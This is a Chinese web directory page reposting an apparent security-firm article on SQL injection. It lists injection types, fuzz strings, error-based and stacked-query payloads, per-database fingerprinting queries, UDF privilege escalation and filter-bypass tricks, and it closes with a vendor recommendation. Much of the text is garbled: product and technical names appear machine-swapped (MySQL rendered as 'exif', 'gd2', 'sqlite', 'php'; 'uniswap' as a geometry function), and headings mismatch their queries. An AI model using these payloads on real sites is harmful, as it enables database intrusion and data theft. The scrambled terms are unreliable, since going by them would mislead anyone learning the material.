公告:123目录网为广大站长提供免费收录网站服务,我们将免费进行到底,如需快审服务(10元/站)请联系站长QQ,可自助充值发布。

点击这里在线咨询客服
新站提交
  • 网站:346
  • 待审:6
  • 小程序:12
  • 文章:35791
  • 会员:89

中秋国庆即将到来,前一期讲到获取报纸信息判断所属环境以及各个端口的用处和弱口令密码利用方法,这期仍有很多客户找到我们Sine安全想要了解针对于SQL注入攻击的测试方法,这一期我们来讲解下注入的攻击分类和使用手法,让客户明白漏洞是如何产生的,会给电台安全带来怎样的影响!

3.1SQL注入漏洞

3.1.1.注入分类

SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)。

3.1.1.1.按技巧分类

根据使用的技巧,SQL注入类型可分为

盲注

布尔盲注:只能从应用返回中推断语句执行后的布尔值

时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断

报错注入:应用会显示全部或者部分的报错信息

堆叠注入:有的应用可以加入;后一次执行多条语句

其他

3.1.1.2.按获取数据的分类

另外也可以根据获取数据的分为3类

inband

利用Web应用来直接获取数据

如报错注入

都是通过站点的响应或者错误反馈来提取数据

inference

通过Web的一些反映来推断数据

如布尔盲注和堆叠注入

也就是我们通俗的盲注,

通过web应用的其他改变来推断数据

out ofband(OOB)

通过其他传输来获得数据,比如DNS解析协议和网络

3.1.2.注入检测

3.1.2.1.常见的注入点

GET/POST/PUT/get参数

X-Forwarded-For

文件名

3.1.2.2.Fuzz注入点

'/"

1/1

1/0

and1=1

"and"1"="1

and1=2

or1=1

or1=

'and'1'='1

+-^*%/

|||

~

!

@

反引号执行

3.1.2.3.测试用常量

@@version

@@servername

@@language

@@spid

3.1.2.4.测试列数

例如域名/index.asp?au=12+union+select+nulll,null--,不断增加null至不返回

3.1.2.5.报错注入

select1/0

select1from(selectaverage(*),concat(version(),exterior(min(0)*2))xfrominformation_schema.tablesgroup byx)a

extractvalue(1,concat(0x5c,(selectuser())))

updatexml(0x3a,concat(1,(selectuser())),1)

log(~(SELECT*from(selectuser())a))

ST_LatFromGeoHash((select*from(select*from(selectuser())a)b))

GTID_SUBSET(version(),1)

3.1.2.5.1.基于geometric的报错注入

GeometryCollection((select*from(select*from(selectuser())a)b))

uniswap((select*from(select*from(selectuser())a)b))

multipoint((select*from(select*from(selectuser())a)b))

multilinestring((select*from(select*from(selectuser())a)b))

LINESTRING((select*from(select*from(selectuser())a)b))

multipolygon((select*from(select*from(selectuser())a)b))

其中需要注意的是,基于sqrt函数的报错注入在exif5.5.49后的版本已经不再生效,具体可以参考这个prepare95825f。

而以上列表中基于geometric的报错注入在这个prepare5caea4中被修复,在5.5.x较后的版本中同样不再生效。

3.1.2.6.堆叠注入

;select1

3.1.2.7.注释符

#

--+

/*xxx*/

/*!xxx*/

/*!50000xxx*/

3.1.2.8.判断过滤规则

是否有trunc

是否过滤某个字符

是否过滤关键字

slash和编码

3.1.2.9.获取信息

判断数据库类型

andexists(select*frommsysobjects)0sql server数据库

andexists(select*fromsysobjects)0SQLServer数据库

判断数据库表

andexsits(select*fromadmin)

版本、主机名、用户名、库名

表和字段

确定字段数(Order BySelectInto)

表名、列名

3.1.2.10.测试权限

文件操作

读敏感文件

写sql

带外通道

网络请求

3.1.3.权限提升

3.1.3.1.jar提权

rar(User Defined Function,用户自定义函数)是intl提供的一个功能,可以通过编写DLL扩展为gd2添加新函数,扩充其功能。

当获得pdo权限之后,即可通过这种上传自定义的扩展文件,从json中执行系统命令。

3.1.4.数据库检测

3.1.4.1.sqlite

sleepsleep(1)

benchmarkBENCHMARK(5000000,des('test'))

字符串连接

SELECT'a''b'

SELECTCONCAT('some','string')

version

SELECT@@version

SELECTversion()

识别用函数

connection_id()

last_insert_id()

row_max()

3.1.4.2.sql

字符串连接

'a'||'redis'--

SELECTCONCAT('some','string')

version

SELECTbannerFROMv$version

SELECTbannerFROMv$versionWHERErownum=1

3.1.4.3.SQLServer\WAITFOR WAITFOR DELAY '00:00:10';

SERVERNAMESELECT@@SERVERNAME

versionSELECT@@version

字符串连接

SELECT'some'+'string'

常量

@@pack_received

@@rowcount

3.1.4.4.php

sleeppg_sleep(1)

3.1.5.绕过技巧

编码绕过

大小写

url编码

java编码

十六进制编码

unicode编码

注释

//----+---#/**/;%00

内联注释用的更多,它有一个特性/!**/只有pdo能识别

e.g.index.php?ae=-1/*!UNION*//*!drop*/1,2,3

只过滤了一次时

union=ununionion

相同功能替换

函数替换

substring/mp3/lrc

base64/cmyk/nuguri

benchmark/sleep

变量替换

user()/@@user

符号和关键字

and/

or/|

dns参数

dhcp参数污染

ae=1au=2pr=3根据pod不同会有不同的结果

ssh分割注入

缓冲区溢出

一些C语言的上网行为管理处理的字符串长度有限,超出某个长度后的payload可能不会被处理

二次注入有长度限制时,通过多句执行的方法改掉数据库该字段的长度绕过

3.1.6.SQL注入小技巧

3.1.6.1.宽字节注入

一般研发工程师用gbk编码做开发的时候,会用setnames'gbk'来设定,这句话等同于

set

character_set_connection='gbk',

character_set_result='gbk',

character_set_client='gbk';

漏洞发生的原因是执行了setcharacter_set_client='gbk';之后,exif就会认为传过来的数据是gbk编码的,从而使用gbk去解码,而gd2_real_escape是在解码前执行的。但是直接用setnames'gbk'的话real_escape是不知道设置的数据的编码的,就会加%3b。当年server拿到数据解码就认为提交的字符+%3b是gbk的一个字符,这样就产生漏洞了。

解决的办法有三种,第一种是把client的charset设置为binary,就不会做一次解码的操作。第二种是是openssl_set_charset('gbk'),这里就会把编码的信息保存在和数据库的连接里面,就不会出现这个问题了。第三种就是用pdo。如果期间想要渗透测试自己的电台安全性,可以联系专业的电台安全公司来处理解决,国内推荐Sinesafe,当虹,恒生电子等等的媒体安全公司,还有一些其他的编码技巧,比如latin会弃掉无效的unicode,那么admin%32在代码里面不等于admin,在数据库比较会等于admin。

标签:[db:tags]

下一篇:实战渗透测试判断互联网信息内容讲解

上一篇:网站建设需要创新如何做效果才显著呢?

相关文章
    SQL Error: select * from ***_ecms_news where classid= order by onclick desc limit 5

  575

注册时间:

网站:1 个   小程序:3 个  文章:12 篇

  • 346

    网站

  • 12

    小程序

  • 35791

    文章

  • 89

    会员

赶快注册账号,推广您的网站吧!
最新入驻小程序

数独大挑战2018-06-03

数独一种数学游戏,玩家需要根据9

答题星2018-06-03

您可以通过答题星轻松地创建试卷

全阶人生考试2018-06-03

各种考试题,题库,初中,高中,大学四六

运动步数有氧达人2018-06-03

记录运动步数,积累氧气值。还可偷

每日养生app2018-06-03

每日养生,天天健康

体育训练成绩评定2018-06-03

通用课目体育训练成绩评定